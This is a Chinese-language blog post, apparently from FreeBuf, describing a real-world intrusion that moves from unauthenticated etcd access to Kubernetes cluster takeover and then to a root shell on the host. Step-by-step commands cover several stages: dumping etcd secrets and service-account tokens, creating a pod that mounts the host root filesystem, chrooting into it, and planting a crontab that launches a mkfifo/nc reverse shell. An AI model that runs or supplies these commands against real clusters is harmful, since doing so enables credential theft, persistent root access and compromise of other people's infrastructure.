实战攻防-K8S接管逃逸容器到宿主机
G0mini
- 关注
实战攻防-K8S接管逃逸容器到宿主机
前言
k8s未授权,网上关于未授权的利用方式大多到接管容器就结束了,
而对于获取宿主机权限的较少,
在不断尝试之后成功获取宿主机root权限
未授权验证
如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。有两种验证方式:
http://IP:2379/version
http://IP:2379/v2/keys
存在 etcd 未授权访问漏洞后,可以通过工具etcdctl来直接dump数据库,linux和win的使用略有不同。
ETCDCTL_API=3 etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379/ get / --prefix --keys-only | sort | uniq | xargs -I{} sh -c 'ETCDCTL_API=3 etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379 get {} >> output.data && echo "" >> output.data'
在导出的数据中,可以检索BEGIN CERTIFICATE来查找所有证书
获取token
但最重要的是拿到token,使用命令直接查找secret相关 key
ETCDCTL_API=3 etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379/ get / --prefix --keys-only|sort|uniq| grep secret
!
从返回的数据中挑选出一个尽可能具有高权限的 role 并读取其 token,尝试/registry/secrets/kube-system/coredns-token-jmc
ETCDCTL_API=3 etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=http://IP:2379 get /registry/secrets/kube-system/coredns-token-jmc
使用curl访问api server,确认token正确可用
curl --header "Authorization: Bearer TOKEN" -X GET https://IP:6443/api -k
如果正确,则返回如下
接管k8s集群
包含的pods,svc资源数量,约755个
kubectl --insecure-skip-tls-verify -s https://IP:6443 --token="TOKEN" get pods,svc --all-namespaces -o wide|wc -l
成功接管k8s集群,接下来尝试利用容器逃逸到宿主机
创建恶意容器
查看当前角色创建容器的权限
kubectl --insecure-skip-tls-verify -s https://IP:6443 --token="TOKEN" auth can-i create pods
no,无创建容器的权限,尝试其他role的token:/registry/secrets/kube-system/default-token-njbbp
yes,后续查看镜像资源,挑选可以执行命令的镜像来创建容器
kubectl --insecure-skip-tls-verify -s https://IP:6443 --token="TOKEN" get pods --all-namespaces -o jsonpath="{..image}" | tr -s '[[:space:]]' '\n' | sort | uniq
错误1:配置文件的image和namespace需要对应,不然容器创建成功但无法进入,容器状态显示拉取失败
错误2:容器没有bash环境
经过n次失败,最终namespace: default的registry.cn-beijing.aliyuncs.com/htzhpublic/mysql:5.7镜像可以成功,根据以下格式,将宿主机的目录挂到容器/mnt目录下
apiVersion: v1
kind: Pod
metadata:
name: ?????
namespace: ?????
spec:
containers:
- image: ?????
name: ?????
volumeMounts:
- mountPath: /mnt
name: ?????
volumes:
- name: ?????
hostPath:
path: /
因为使用kubectl无法vim文件内容,所以通过管道将镜像配置信息输入到命令参数中
echo "apiVersion: v1\nkind: Pod\nmetadata:\n name: ?????\n namespace: ?????\nspec:\n containers:\n - image: ?????\n name: ?????\n volumeMounts:\n - mountPath: /mnt\n name: ?????\n volumes:\n - name: ?????\n hostPath:\n path: /\n" | kubectl --insecure-skip-tls-verify -s https://IP:6443 --token="TOKEN" apply -f -
创建成功,进入容器,观察发现/mnt成功挂载了宿主机的根目录
kubectl --insecure-skip-tls-verify -s https://IP:6443 --token="TOKEN" exec -it pod/btwlon -n default -- /bin/bash
逃逸容器
容器环境受限,可以使用chroot /mnt切换到宿主机的文件系统环境
此时反弹shell获取的是容器的权限,但是可以从请求地址得到宿主机ip为:x.x.11.66,可以看到和容器入口:x.x.11.38是不一样的
在获取宿主机的shell的过程中,尝试了计划任务bash反弹,失败,测试发现宿主机没有/dev/tcp
尝试写入ssh公钥,发现配置文件对于公钥验证没有开启,修改后reload,依旧连接失败
尝试修改/etc/passwd,复制xxzx的用户信息,并修改用户名为btwl,x更改为密码(不直接复制root用户的信息,因为默认情况下root用户是禁止远程登录),添加后连接失败,原因未知,猜测是有设备对ssh策略限制
尝试nc反弹,发现-e参数版本不支持
在最后发现了可以成功执行的命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [host] [port] >/tmp/f
命令直接反弹得到的还是容器的shell,需要写入宿主机计划任务进行反弹
* * * * * echo "#!/bin/bash\nrm /tmp/f;mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc IP PORT > /tmp/f" > /1.sh&&chmod +x /1.sh&&/1.sh 2> /error.txt
成功收到root权限的shell
没有ifconfig?!不会还在容器里吧!
至此成功接管k8s并获取主机root权限,mai起!
本文为 G0mini 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏

相关推荐
实战攻防 | 艰难打点之bypass绕过文件上传
2024-07-17
攻防对抗组合漏洞RCE-致远OA
2024-07-15
单洞过W之开发测试生产UAT挖掘思路
2024-07-15
文章目录